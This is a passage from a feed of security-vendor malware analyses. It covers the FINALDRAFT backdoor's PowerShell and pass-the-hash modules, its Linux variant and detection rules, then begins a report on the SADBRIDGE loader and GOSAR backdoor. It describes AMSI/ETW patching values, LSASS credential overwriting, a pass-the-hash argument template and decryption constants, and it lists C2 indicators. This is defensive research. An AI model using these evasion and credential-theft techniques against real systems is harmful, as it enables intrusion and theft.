<p>This module allows the operator to execute PowerShell commands without invoking the <code>powershell.exe</code> binary. The code used is taken from <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>, a well-known open source offensive security tool.</p>
<p>To evade detection, the module first hooks the <code>EtwEventWrite</code>, <code>ReportEventW</code>, and <code>AmsiScanBuffer</code> APIs, forcing them to always return <code>0</code>, which disables ETW logging and bypasses anti-malware scans.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdec240528a60104c/6a7c841eda3d0529c6633dd3/image20.png" alt="Patching AMSI and ETW APis" title="Patching AMSI and ETW APis" /></p>
<p>Next, the DLL loads a .NET payload (<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerPick/SharpPick/Program.cs">PowerPick</a>) stored in its <code>.data</code> section using the <a href="https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces">CLR Hosting technique</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2e56a83c8648ccd2/6a7c8421c2cc09114d2433cf/image25.png" alt="Managed code of PowerPick loaded using CLR hosting technique" title="Managed code of PowerPick loaded using CLR hosting technique" /></p>
<p>The module creates a named pipe (<code>\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2</code>) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed <strong>PowerPick</strong> binary is loaded and executed by the module.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf2903108cfe1b6ff/6a7c8425fc63ab7d42646f96/image26.png" alt="Managed binary of PowerPick loaded by the module" title="Managed binary of PowerPick loaded by the module" /></p>
<h4 id="passthehashtoolkitpntx64dll">Pass-the-Hash toolkit (<code>pnt.x64.dll</code>)</h4>
<p>This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a>, enabling lateral movement.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt407ef1d435140aa8/6a7c8427fc63ab3d6b646f9c/image45.png" alt="Decrypted strings from memory for PTH module" title="Decrypted strings from memory for PTH module" /></p>
<p>A password (<code>Aslire597</code>), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.</p>
<p><code>program.exe &lt;password&gt; &lt;domain&gt;\&lt;account&gt;:&lt;ntlm_hash&gt; &lt;target_process&gt;</code></p>
<p>Like the other module, it creates a named pipe, ”<code>\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9</code>”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd3e7b7c56975ccd7/6a7c842a6c6eac2984f0e3fd/image21.png" alt="named pipe creation for pnt.x64.dll" title="named pipe creation for pnt.x64.dll" /></p>
<p>After establishing the pipe connection, the malware creates a target process in a suspended state using <code>CreateProcessWithLogonW</code>, identifies key structures like the <code>LogonSessionList</code> and <code>LogonSessionListCount</code> within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument. </p>
<p>Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "<a href="https://www.praetorian.com/blog/inside-mimikatz-part2/">Inside the Mimikatz Pass-the-Hash Command (Part 2)</a>" by Praetorian. The result is then sent to the named pipe.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt98c39589d169b60b/6a7c842c51156a343d2bc947/image22.png" alt="Named pipe output and created process" title="Named pipe output and created process" /></p>
<h2 id="finaldraftelfvariant">FINALDRAFT ELF variant</h2>
<p>During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.</p>
<h3 id="additionaltransportchannels">Additional transport channels</h3>
<p>The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:</p>
<p>| C2 communication protocols                                      |
| :-------------------------------------------------------------- |
| HTTP/HTTPS                                                      |
| Reverse UDP                                                     |
| ICMP                                                            |
| Bind TCP                                                        |
| Reverse TCP                                                     |
| DNS                                                             |
| Outlook via REST API (could be communicating with an API proxy) |
| Outlook via Graph API                                           |</p>
<p><em>FINALDRAFT ELF variant C2 communication options</em></p>
<p>From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.</p>
<p>While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either <code>/var/log/installlog.log.&lt;UUID_from_config&gt;</code> or <code>/mnt/hgfsdisk.log.&lt;UUID_from_config&gt;</code> if it fails to write to the prior file.</p>
<p>Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number <code>0x1bb</code> (<code>443</code>) at offset <code>0xc8</code>, and flag for using HTTPS at offset <code>0xfc</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8257ddb87113ccae/6a7c842f05b7b59c64185ab5/image2.png" alt="FINALDRAFT ELF variant configuration snippet" title="FINALDRAFT ELF variant configuration snippet" /></p>
<p>The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.</p>
<p>| C2                  |
| :------------------ |
| support.vmphere.com |
| update.hobiter.com  |</p>
<p><em>Domain list</em></p>
<h3 id="commands-1">Commands</h3>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt816a6e5c81d0819c/6a7c8432bd219877ff7522e0/image32.png" alt="Command handlers" title="Command handlers" /></p>
<p>All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:</p>
<ul>
<li>Hostname  </li>
<li>Current logged-in user  </li>
<li>Intranet IP address  </li>
<li>External IP address  </li>
<li>Gateway IP address  </li>
<li>System boot time  </li>
<li>Operating system name and version  </li>
<li>Kernel version  </li>
<li>System architecture  </li>
<li>Machine GUID  </li>
<li>List of active network connections  </li>
<li>List of running processes  </li>
<li>Name of current process</li>
</ul>
<h4 id="commandexecution">Command Execution</h4>
<p>While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes <code>popen</code> for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbfc79193f665959d/6a7c84351967ea56c332a8a9/image28.png" alt="Executing shell command" title="Executing shell command" /></p>
<h4 id="selfdeletion">Self Deletion</h4>
<p>To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to <code>sys_readlink</code>. <code>sys_unlink</code> is then called to remove the executable file from the filesystem.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3e6bf1b16033d0fa/6a7c84389f52511d6266404b/image11.png" alt="Self deletion using sys_unlink" title="Self deletion using sys_unlink" /></p>
<h2 id="olderfinaldraftpesample">Older FINALDRAFT PE sample</h2>
<p>During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.</p>
<p>The name of the binary is <code>Session.x64.dll</code>, and its entrypoint export is called <code>GoogleProxy</code>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6c9d135090253cd6/6a7c843ae88c65604200587d/image5.png" alt="PE export of FINALDRAFT" title="PE export of FINALDRAFT" /></p>
<h3 id="httptransportchannel">HTTP transport channel</h3>
<p>This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta6f4e1ece315099e/6a7c843d2f00b2419def8e9f/image59.png" alt="Choice between Outlook and HTTP transport channels" title="Choice between Outlook and HTTP transport channels" /></p>
<p>In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (<code>checkponit[.]com</code>) was registered on 2022-08-26T09:43:16Z and domain (<code>fortineat[.]com</code>) was registred on 2023-11-08T09:47:47Z.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt067be59b793be9ac/6a7c8440e88c650387005883/image6.png" alt="Domains found in the configuration" title="Domains found in the configuration" /></p>
<p>The domains purposely typosquat real known vendors, <strong>CheckPoint</strong> and <strong>Fortinet</strong>, in this case.</p>
<p>| C2                        |
| :------------------------ |
| <code>poster.checkponit[.]com</code> |
| <code>support.fortineat[.]com</code> |</p>
<p><em>Domain list</em></p>
<h3 id="shellcommand">Shell command</h3>
<p>An additional command exists in this sample that is not present in later versions. This command, with ID <code>1</code>, executes a shell command.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt625745ffe823a17d/6a7c8442448e4e95d75babd1/image9.png" alt="Shell command handler setup" title="Shell command handler setup" /></p>
<p>The execution is carried out by creating a <code>cmd.exe</code> process with the <code>"/c"</code> parameter, followed by appending the actual command to the parameter.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4fa59b5032b94a9b/6a7c84449f525114ad664051/image60.png" alt="Create piped cmd.exe process" title="Create piped cmd.exe process" /></p>
<h2 id="detection">Detection</h2>
<p>Elastic Defend detects the process injection mechanism through two rules. The first rule detects the <code>WriteProcessMemory</code> API call targeting another process, which is a common behavior observed in process injection techniques.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte497adc79250df6f/6a7c8447da3d0520e7633ddf/image42.png" alt="Detecting WriteProcessMemory in FINALDRAFT process injection" title="Detecting WriteProcessMemory in FINALDRAFT process injection" /></p>
<p>The second rule detects the creation of a remote thread to execute the shellcode.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37f5696878e6b51d/6a7c8449fc63ab6749646fac/image35.png" alt="Detection of injected shellcode thread" title="Detection of injected shellcode thread" /></p>
<p>We also detect the loading of the PowerShell engine by the <code>Psloader.x64.dll</code> module, which is injected into the known target <code>mspaint.exe</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdfd71fe9165b2e13/6a7c844c96b5a6c3308755af/image4.png" alt="Detection of PowerShell engine loads" title="Detection of PowerShell engine loads" /></p>
<h2 id="malwareandmitreattck">Malware and MITRE ATT\&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT\&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a>  </li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1102/003/">Web Service: One-Way Communication</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1573/001/">Encrypted Channel: Symmetric Cryptography</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1036/003/">Masquerading: Rename System Utilities</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1055/002/">Process Injection: Portable Executable Injection</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1550/002/">Use Alternate Authentication Material: Pass the Hash</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1046/">Network Service Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1012/">Query Registry</a>  </li>
<li><a href="https://attack.mitre.org/techniques/T1567/">Exfiltration Over Web Service</a></li>
</ul>
<h3 id="mitigations">Mitigations</h3>
<h3 id="detection-1">Detection</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/execution_unusual_powershell_engine_imageload.toml">Unusual PowerShell Engine ImageLoad</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_bypass_via_unbacked_memory.toml">AMSI Bypass via Unbacked Memory</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Service</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/windows/defense_evasion_execution_via_windows_command_line_debugging_utility.toml">Execution via Windows Command Line Debugging Utility</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml">Suspicious Parent-Child Relationship</a></li>
</ul>
<h2 id="yara">YARA</h2>
<p>Elastic Security has created the following YARA rules related to this post:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PathLoader.yar">Windows.Trojan.PathLoader</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_FinalDraft.yar">Windows.Trojan.FinalDraft</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_FinalDraft.yar">Linux.Trojan.FinalDraft</a>  </li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_FinalDraft.yar">Multi.Trojan.FinalDraft</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following observables were discussed in this research:</p>
<p>| Observable                                                         | Type   | Reference                    | Date                                                                     |
| :----------------------------------------------------------------- | :----- | :--------------------------- | :----------------------------------------------------------------------- |
| <code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code> | SHA256 | PATHLOADER                   | VT first seen: 2023-05-09 09:44:45 UTC                                   |
| <code>39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530</code> | SHA256 | FINALDRAFT initial sample    | Telemetry first seen: 2024-11-28 20:49:18.646                            |
| <code>83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c</code> | SHA256 | FINALDRAFT ELF variant       | VT first seen: 2024-10-05 07:15:00 UTC                                   |
| <code>poster.checkponit[.]com</code>                                          | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2022-08-26T09:43:16Z  Valid until: 2025-08-26T07:00:00Z   |
| <code>support.fortineat[.]com</code>                                          | domain | PATHLOADER/FINALDRAFT domain | Creation date: 2023-11-08T09:47:47Z Valid until: 2024-11-08T09:47:47.00Z |
| <code>support.vmphere[.]com</code>                                            | domain | FINALDRAFT domain            | Creation date: 2023-09-12T12:35:57Z Valid until: 2025-09-12T12:35:57Z    |
| <code>update.hobiter[.]com</code>                                             | domain | FINALDRAFT domain            | Creation date: 2023-09-12T12:35:58Z Valid until: 2025-09-12T12:35:58Z    |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/finaldraft</link>
    <guid isPermaLink="false">finaldraft</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Cyril François,Jia Yu Chan,Salim Bitam,Daniel Stepanic]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltca32771cbea0951f/6a7c844f227b1c66ae5926ee/Security_Labs_Images_13.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite]]></title>
    <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser  </li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)   </li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)  </li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time  </li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2 id="ref3864campaignoverview">REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt095966f1761cbd9e/6a7c97ccea068daed0f045e6/image32.png" alt="Fake Telegram landing page" title="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections  </li>
<li>Masquerading using legitimate software bundled with malicious DLLs   </li>
<li>Custom SADBRIDGE loader deployed  </li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9bcf491385c88655/6a7c97cfe3a21974e9999c13/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" title="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2 id="sadbridgeintroduction">SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes. </p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW). </p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2 id="sadbridgecodeanalysis">SADBRIDGE Code Analysis</h2>
<h4 id="msianalysis">MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd46c02a425069c5b/6a7c97d273d9bd75d32980e1/image20.png" alt="Significant files inside the MSI installer" title="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbea9e6fcc9d31a45/6a7c97d44c4bfba614cc7d41/image1.png" alt="Custom actions configured using Advanced Installer" title="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfe3e4d5b8e5d7553/6a7c97d7448e4e567a5bb0af/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" title="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4 id="x64bridgedllsideloading">x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltde8136a8e19f6eef/6a7c97da1967ea183c32ad35/image30.png" alt="Control flow diagram showing call to BridgeStart" title="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc3a970dd54f77c1a/6a7c97dde02fac2a425d0a1c/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" title="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt23704e2fdde1c6f3/6a7c97df437e0f1046dd5abc/image8.png" alt="Configuration file hidden from users" title="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>. </p>
<p>The configuration consists of: </p>
<ul>
<li>Possible campaign date  </li>
<li>Strings to be used for creating services  </li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)  </li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)  </li>
<li>Absolute paths for additional stages (<code>.log</code> files)  </li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f8dbbf44b728aec/6a7c97e23ce8e24c35cefbec/image27.png" alt="SADBRIDGE configuration" title="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5c325aa505aadb4a/6a7c97e596b5a6235d875a7c/image18.png" alt="File listing of the DevQueryBroker folder" title="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4 id="healthserviceruntimedll">HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc1fd90d39f83c37b/6a7c97e873d9bd08432980e9/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" title="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="https://www.elastic.co/security-labs/threat-command/under-the-sadbridge-with-gosar#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc21aeda2420d9df0/6a7c97ebe3a219ec8e999c1f/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" title="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4 id="devquerybrokerlog">DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
